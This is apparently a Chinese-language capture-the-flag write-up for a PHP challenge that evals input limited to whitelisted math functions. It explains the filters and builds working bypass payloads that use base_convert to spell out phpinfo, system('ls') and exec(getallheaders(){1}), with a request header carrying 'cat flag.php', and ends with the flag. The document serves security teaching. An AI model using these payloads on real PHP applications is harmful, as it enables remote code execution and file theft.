日常做題
打開場景
<?php
error_reporting(0);
//聽說你很喜歡數學,不知道你是否愛它勝過愛flag
if(!isset($_GET['c'])){
show_source(__FILE__);
}else{
//例子 c=20-1
$content = $_GET['c'];
if (strlen($content) >= 80) {
die("太長了不會算");
}
$blacklist = [' ', '\t', '\r', '\n','\'', '"', '`', '\[', '\]'];
foreach ($blacklist as $blackitem) {
if (preg_match('/' . $blackitem . '/m', $content)) {
die("請不要輸入奇奇怪怪的字符");
}
}
//常用數學函數http://www.w3school.com.cn/php/php_ref_math.asp
$whitelist = ['abs', 'acos', 'acosh', 'asin', 'asinh', 'atan2', 'atan', 'atanh', 'base_convert', 'bindec', 'ceil', 'cos', 'cosh', 'decbin', 'dechex', 'decoct', 'deg2rad', 'exp', 'expm1', 'floor', 'fmod', 'getrandmax', 'hexdec', 'hypot', 'is_finite', 'is_infinite', 'is_nan', 'lcg_value', 'log10', 'log1p', 'log', 'max', 'min', 'mt_getrandmax', 'mt_rand', 'mt_srand', 'octdec', 'pi', 'pow', 'rad2deg', 'rand', 'round', 'sin', 'sinh', 'sqrt', 'srand', 'tan', 'tanh'];
preg_match_all('/[a-zA-Z_\x7f-\xff][a-zA-Z_0-9\x7f-\xff]*/', $content, $used_funcs);
foreach ($used_funcs[0] as $func) {
if (!in_array($func, $whitelist)) {
die("請不要輸入奇奇怪怪的函數");
}
}
//幫你算出答案
eval('echo '.$content.';');
}
給出源碼
稍微分析:
if (strlen($content) >= 80) {
die("太長了不會算");
這里是提示我們輸入的長度不能超過80
$blacklist = [' ', '\t', '\r', '\n','\'', '"', '`', '\[', '\]'];
foreach ($blacklist as $blackitem) {
if (preg_match('/' . $blackitem . '/m', $content)) {
die("請不要輸入奇奇怪怪的字符");
這里提示我們 不能輸入 ' ' '\t' '\r' '\n' ''' '"' '`' '[' ']' 這些字符
$whitelist = ['abs', 'acos', 'acosh', 'asin', 'asinh', 'atan2', 'atan', 'atanh', 'base_convert', 'bindec', 'ceil', 'cos', 'cosh', 'decbin', 'dechex', 'decoct', 'deg2rad', 'exp', 'expm1', 'floor', 'fmod', 'getrandmax', 'hexdec', 'hypot', 'is_finite', 'is_infinite', 'is_nan', 'lcg_value', 'log10', 'log1p', 'log', 'max', 'min', 'mt_getrandmax', 'mt_rand', 'mt_srand', 'octdec', 'pi', 'pow', 'rad2deg', 'rand', 'round', 'sin', 'sinh', 'sqrt', 'srand', 'tan', 'tanh'];
preg_match_all('/[a-zA-Z_\x7f-\xff][a-zA-Z_0-9\x7f-\xff]*/', $content, $used_funcs);
foreach ($used_funcs[0] as $func) {
if (!in_array($func, $whitelist)) {
die("請不要輸入奇奇怪怪的函數");
這里提示我們只能使用白名單里面的函數
可以使用的函數有:
'abs', 'acos', 'acosh', 'asin', 'asinh', 'atan2', 'atan', 'atanh', 'base_convert', 'bindec', 'ceil', 'cos', 'cosh', 'decbin', 'dechex', 'decoct', 'deg2rad', 'exp', 'expm1', 'floor', 'fmod', 'getrandmax', 'hexdec', 'hypot', 'is_finite', 'is_infinite', 'is_nan', 'lcg_value', 'log10', 'log1p', 'log', 'max', 'min', 'mt_getrandmax', 'mt_rand', 'mt_srand', 'octdec', 'pi', 'pow', 'rad2deg', 'rand', 'round', 'sin', 'sinh', 'sqrt', 'srand', 'tan', 'tanh'
這里函數很多 一個一個分析太麻煩了(建議直接去查)
我們這里用到的就是 base_convert 函數
https://www.runoob.com/php/func-math-base-convert.html 函數用法
base_convert($hex,10,16):將十進制的$$hex轉化為十六進制的數
思路就是 通過base_convert可以任意進制轉換,可以通過講10進制轉36進制,轉出a-z的符號,再通過拼接實現任意繞過執行任意代碼。
這樣可以實現 數字輸出字符
現在我們來輸出 phpinfo頁面試試
payload= c=base_convert(55490343972,10,36)()
成功輸出 phpinfo頁面
接下來想到使用system函數 執行系統命令來找到flag了
執行 system('ls') 查看當前目錄的文件
payload= c=base_convert(1751504350,10,36)(base_convert(784,10,36))
接下來就是 讀取flag.php的內容了
使用system等命令執行函數配合通配符*
讀取文件
為了縮短字符長度,我們可以將函數base_convert
賦值給一個短變量名,由於白名單的限制,我們最少需要兩個字符,即$pi
這里無法直接 構造出*
dechex
函數可以把10進制轉換為16進制,我們可以再異或出hex2bin
,來獲取任意ASCII字符
cat *
的16進制為636174202a
payload c=($pi=base_convert)(1751504350,10,36)($pi(37907361743,10,36)(dechex(426836762666)))
額 超長 不行
只有想其他辦法
查看wp
借助getallheader()來控制請求頭,通過請求頭的字段讀取flag.php
getallheader()返回的是數組,要從數組里面取數據用array['xxx'], 這里可以 getallheader(){1}可以返回自定義頭1里面的內容
$pi=base_convert,$pi(696468,10,36)(($pi(8768397090111664438,10,30))(){1}) #exec(getallheaders(){1})
這里用的是(8768397090111664438,10,30)
在請求頭上加 1:cat flag.php
得到flag
flag{dgjregjvdsmvba356sg}